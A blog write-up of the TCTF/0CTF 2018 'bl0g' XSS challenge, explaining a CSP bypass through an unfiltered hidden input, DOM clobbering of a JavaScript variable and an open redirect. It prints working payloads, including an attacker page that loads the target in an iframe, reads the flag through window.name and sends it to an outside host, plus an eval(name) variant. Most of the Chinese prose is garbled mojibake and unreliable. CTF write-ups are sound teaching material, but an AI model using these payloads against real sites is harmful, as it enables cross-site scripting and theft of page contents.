LoRexxar's Blog

TCTF/0CTF2018 XSS bl0g Writeup

2018/04/05

鍒氬垰杩囧幓鐨凾CTF/0CTF2018涓濡傛棦寰鐨勭粰浜嗘垜浠儕鍠滐紝鍏朵腑鏈澶х殑鎯婂枩鑾繃浜庡閬搙ss涓瑽ypass CSP鐨勯鐩紝鍏朵腑鏈夊緢澶氬搴旂敤浜庣幇浠g綉绔欑殑闃插尽鎬濊矾锛屽叾涓殑寰堝鍒╃敤鎬濊矾闈炲父绮惧阀锛屽煎緱鐮旂┒锛屾墍浠ヨ繖閲屾垜鎶妜ss棰樼洰鍗曠嫭鍑烘潵鍗氭枃锛屽洜涓哄畠浠煎緱鏇村鍏虫敞锛

ps锛歸riteup浼氬湪鎴戝鐜版暣鐞嗗畬鍚庝笉鏂垎浜嚭鏉モ

bl0g

1
2
3
An extremely secure blog
Just focus on the static files. plz do not use any scanner, or your IP will be blocked.

寰堟湁瓒g殑棰樼洰锛屾暣涓鐨勯毦鐐瑰湪浜庡埄鐢ㄤ笂

绔欏唴鐨勫姛鑳介兘鏄瘮杈冨父瑙佺殑xss鍔熻兘

1銆乶ew 鏂扮敓鎴愭枃绔
2銆乤rticle/xx 鏌ョ湅鏂囩珷/璇勮
3銆乻ubmit 鎻愪氦url (start with http://202.120.7.197:8090/)
4銆乫lag admin鍙互鏌ョ湅鍒版纭殑flag

杩樻湁涓浜涢殣钘忕殑鏉′欢

1銆丆SP

1
2
3
4
5
Content-Security-Policy:
script-src 'self' 'unsafe-inline'
Content-Security-Policy:
default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

鎸烘湁瓒g殑鍐欐硶锛岀粡杩囨垜鐨勬祴璇曪紝涓や釜CSP鍒嗗紑鍐欙紝鏄悓鏃剁敓鏁堝苟涓斿崟鐙敓鏁堢殑锛屼篃灏辨槸涓庣殑鍏崇郴銆

鎹釜璇存硶灏辨槸锛屽亣璁炬垜浠氳繃鍔ㄦ佺敓鎴恠cript鏍囩鐨勬柟寮忥紝鎴愬姛缁曡繃浜嗙浜屼釜CSP锛屼絾鎴戜滑寮曞叆浜<script src="hacker.website">锛屽氨浼氳绗竴鏉SP鎷︽埅锛屽緢鏈夎叮鐨勬妧宸с

浠嶤SP鎴戜滑涔熷彲浠ョ畝鍗曠寰椾竴浜涘埄鐢ㄦ濊矾锛base-uri 'none'浠h〃鎴戜滑娌″姙娉曢氳繃淇敼鏍瑰煙鏉ュ疄鐜版敾鍑伙紝default-src 'none'杩欏叾涓寘鍚簡frame-src锛岃繖浠h〃鏀诲嚮鏂瑰紡涓瀹氬湪绔欏唴瀹炵幇锛script-src鐨勫弻闄愬埗浠h〃鎴戜滑鍙兘閫氳繃<script>{eval_code}鐨勬柟寮忔潵瀹炵幇鏀诲嚮锛岃鎴戜滑鎺ョ潃寰涓嬬湅銆

2銆乶ew涓湁涓涓瓧娈垫槸effect锛屾槸璁剧疆鐗规晥鐨

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /new HTTP/1.1
Host: 202.120.7.197:8090
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Origin: http://202.120.7.197:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://202.120.7.197:8090/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h
title=a&content=a&effect=nest

effect瀛楁浼氭彃鍏ュ埌椤甸潰涓殑<input type="hidden" id="effect" value="{effect_value}">锛屼絾杩欓噷瀹為檯涓婃槸娌℃湁浠讳綍杩囨护鐨勶紝涔熷氨鏄鎴戜滑鍙互閫氳繃闂悎杩欎釜鏍囩骞舵彃鍏ユ垜浠兂瑕佺殑鏍囩锛岄渶瑕佹敞鎰忕殑鏄紝杩欎釜鐐瑰彧鑳芥彃鍏70涓瓧绗

3銆乴ogin?next=杩欎釜鐐瑰彲浠ュ瓨鍦ㄤ竴涓换鎰忚烦杞紝閫氳繃杩欎釜鐐癸紝鎴戜滑鍙互缁曡繃submit鐨勯檺鍒讹紙submit鐨刴axlength鏄墠鍙伴檺鍒讹紝鍙互闅忎究璺宠浆

4銆佺珯鍐呯殑鐗规晥鏄氳繃jqery鐨刟ppend寮曞叆鐨勶紝鍦╝rticle.js杩欎釜鏂囦欢涓

1
2
3
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});

effects鍦╟onfig.js涓瀹氫箟銆

鍥為【涓婇潰鐨勫嚑涓潯浠讹紝鎴戜滑鍙互绠鍗曠殑鏁寸悊鎬濊矾銆

鍦ㄤ笉鑰冭檻0day鐨勬儏鍐典笅锛屾垜浠敮鏈夐氳繃鎯冲姙娉曢氳繃鍔ㄦ佺敓鎴恠cript鏍囩锛岄氳繃sd CSP杩欎釜鐐规潵缁曡繃

棣栧厛鎴戜滑瑙傚療xss鐐瑰懆鍥寸殑html缁撴瀯

image.png-21.3kB

鍦ㄦ暣绔欎笉寮鍚换浣曠紦瀛樼殑鎯呭喌涓嬶紝閫氳繃鎻掑叆鏍囩鐨勬柟寮忥紝鍞竴瀛樺湪涓绉嶇粫杩囨柟寮忓氨鏄彃鍏<script a="

杩欑鎻掑叆鏂瑰紡锛屽鏋滄彃鍏ョ偣鍦ㄤ竴涓師椤甸潰鐨剆cript鏍囩鍓嶇殑璇濓紝鏈夊嚑鐜囧悆鎺変笅涓涓猻cript鏍囩鐨刵once灞炴э紝涓句釜渚嬪瓙锛

1
2
3
4
5
6
7
<script a="
<script nonce="testtt">...
娴忚鍣ㄦ湁涓瀹氱殑瀹归敊鑳藉姏锛屼粬浼氳ˉ瓒充笉瀹屾暣鐨勬爣绛
=====>
<script a="<script" nonce="test">...

浣嗚繖涓搷浣滃湪杩欓噷骞朵笉閫傜敤锛屽洜涓轰腑闂磋繃澶氭棤鐢ㄦ爣绛撅紝鍐嶅姞涓婂嵆浣垮悶浜嗕篃涓嶈兘鏈変粈涔堝姙娉曟帶鍒跺悗闈㈢殑鍐呭锛屾墍浠ヨ繖閲屽彧鏈変竴绉嶇粫杩囨柟寮忓氨鏄痙om xss銆

绋嶅井缈荤炕鍙互鍙戠幇锛屽敮涓鐨勬満浼氬氨鍦ㄨ繖閲

1
2
3
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});

濡傛灉鎴戜滑鍙互瑕嗙洊effects鍙橀噺锛岄偅鎴戜滑灏卞彲浠ュ悜body娉ㄥ叆鏍囩浜嗭紝杩欓噷闇瑕佷竴鐐瑰皬trick銆

鍦╦s涓紝瀵逛簬鐗瑰畾鐨刦orm,iframe,applet,embed,object,img鏍囩锛屾垜浠彲浠ラ氳繃璁剧疆id鎴栬卬ame鏉ヤ娇寰楅氳繃id鎴杗ame鑾峰彇鏍囩

涔熷氨鏄锛屾垜浠彲浠ラ氳繃effects鑾峰彇鍒<form name=effects>杩欎釜鏍囩銆傚悓鐞嗭紝鎴戜滑灏卞彲浠ラ氳繃鎻掑叆杩欎釜鏍囩鏉ユ敞鍐宔ffects杩欎釜鍙橀噺銆

鍙鏋滄垜浠皾璇曟彃鍏ヨ繖涓爣绛惧悗锛屾垜浠彂鐜版彃鍏ョ殑effects鍦ㄦ帴涓嬫潵鐨刢onfig.js涓瑕嗙洊浜嗐

杩欐椂鍊欐垜浠洖鍒板垰鎵嶆彁鍒扮殑鐗规э紝娴忚鍣ㄦ湁涓瀹氱殑瀹归敊鑳藉姏锛屾垜浠彲浠ラ氳繃鎻掑叆<script>锛岄偅涔堣繖涓爣绛句細鑷姩闂悎鍚庨潰config.js鐨</script>锛岄偅涔堜腑闂寸殑浠g爜灏变細琚涓簀s浠g爜锛岃CSP鎷︽埅銆

image.png-34.4kB

鎴戜滑鎴愬姛鐨勮鐩栦簡effects鍙橀噺锛岀揣鎺ョ潃鎴戜滑闇瑕佽鐩effects[$("#effect").val()]锛岃繖閲屾垜浠夋嫨id灞炴э紙杩欓噷鍏跺疄鏄负浜唅d浼氫娇鐢ㄤ袱娆★紝鍙互鏇寸渷浣嶆暟锛夛紝

鎵浠ユ垜浠皾璇曚紶鍏

1
effect=id"><form name=effects id="<script>alert(1)</script>"><script>

image.png-16.9kB

鎴愬姛鎵ц

鎺ヤ笅鏉ョ殑闂灏卞湪浜庢庝箞鏋勯犺幏鍙杅lag浜嗭紝杩欓噷鏈澶х殑闂鍦ㄤ簬鎬庝箞瑙e喅浣嶆暟涓嶅鐨勯棶棰橈紝鎴戜滑鍙互绠鍗曡绠椾竴涓嬨

涓婇潰鐨刾ayload鏈绠鍖栧彲浠ユ槸

1
id"><form name=effects id="<script>"><script>

涓鍏辨湁45浣嶏紝鎴戜滑鍙互鎿嶄綔鐨勪綅鏁板彧鏈25浣嶃傚湪鏈夐檺鐨勪綅鏁颁笅鎴戜滑闇瑕佽幏鍙杅lag椤甸潰鐨勫唴瀹癸紝骞惰繑鍥炲洖鏉ワ紝鎴戜竴鏃堕棿娌℃兂鍒颁粈涔堝ソ鍔炴硶銆

涓嬮潰鍐欎竴绉嶆潵鑷狜瓒呭▉钃濈尗鐨勮В娉曪紝闈炲父鏈夎叮鐨勬濊矾锛宲ayload澶ф鏄繖鏍风殑

https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

1
id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

閫氳繃jquery get鑾峰彇flag鍐呭锛岄氳繃绠ご鍑芥暟灏嗚繑鍥炶祴鍊肩粰window.name锛岀揣鎺ョ潃锛屾垜浠渶瑕佹兂鍔炴硶鑾峰彇杩欓噷鐨剋indow.name銆

杩欓噷鐢ㄥ埌涓涓壒娈婄殑璺ㄥ煙鎿嶄綔

http://www.cnblogs.com/zichi/p/4620656.html

杩欓噷鐢ㄥ埌浜嗕竴涓壒娈婄殑鐗规э紝灏辨槸window.name涓嶈窡闅忓煙鍙樺寲鑰屽彉鍖栵紝閫氳繃window.name鎴戜滑鍙互缂撳瓨鍘熸湰鐨勬暟鎹

瀹屾暣payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
</html>
<script>
var i=document.createElement("iframe");
i.src="http://202.120.7.197:8090/article/3503";
i.id="a";
var state = 0;
document.body.appendChild(i);
i.onload = function (){
if(state === 1) {
var c = i.contentWindow.name;
location.href="http://xx?c="+c;
} else if(state === 0) {
state = 1;
i.contentWindow.location = './index.html';
}
}
</script>

鐒跺悗閫氳繃login?next=杩欓噷鏉ヨ烦杞埌杩欓噷锛屾垚鍔熺悊椤

鏈鍚庡垎浜竴涓湰鐜鍙楅檺鐨勮剳娲炴兂娉曪紙鎴戣寰楄洰鏈夋剰鎬濈殑

杩欎釜鎬濊矾鍙楅檺浜庡綋鍓嶉〉闈SP娌℃湁unsafe-eval锛屽垰鎵嶈鍒window.name涓嶉殢鍩熷彉鍖栬屽彉鍖栵紝閭d箞鎴戜滑浼犲叆payload

1
id"><form name=effects id="<script>eval(name)"><script>

鐒跺悗鍦ㄨ嚜宸辩殑鏈嶅姟鍣ㄤ笂璁剧疆

1
2
3
4
<script>
window.name="alert(1)";
location.href="{article_url}";
</script>

杩欐牱鎴戜滑灏辫兘璁剧疆window.name浜嗭紝濡傛灉鍏佽eval鐨勮瘽锛屽氨鍙互閫氳繃杩欑鏂瑰紡缁曡繃闀垮害闄愬埗銆

CATALOG
  1. 1. bl0g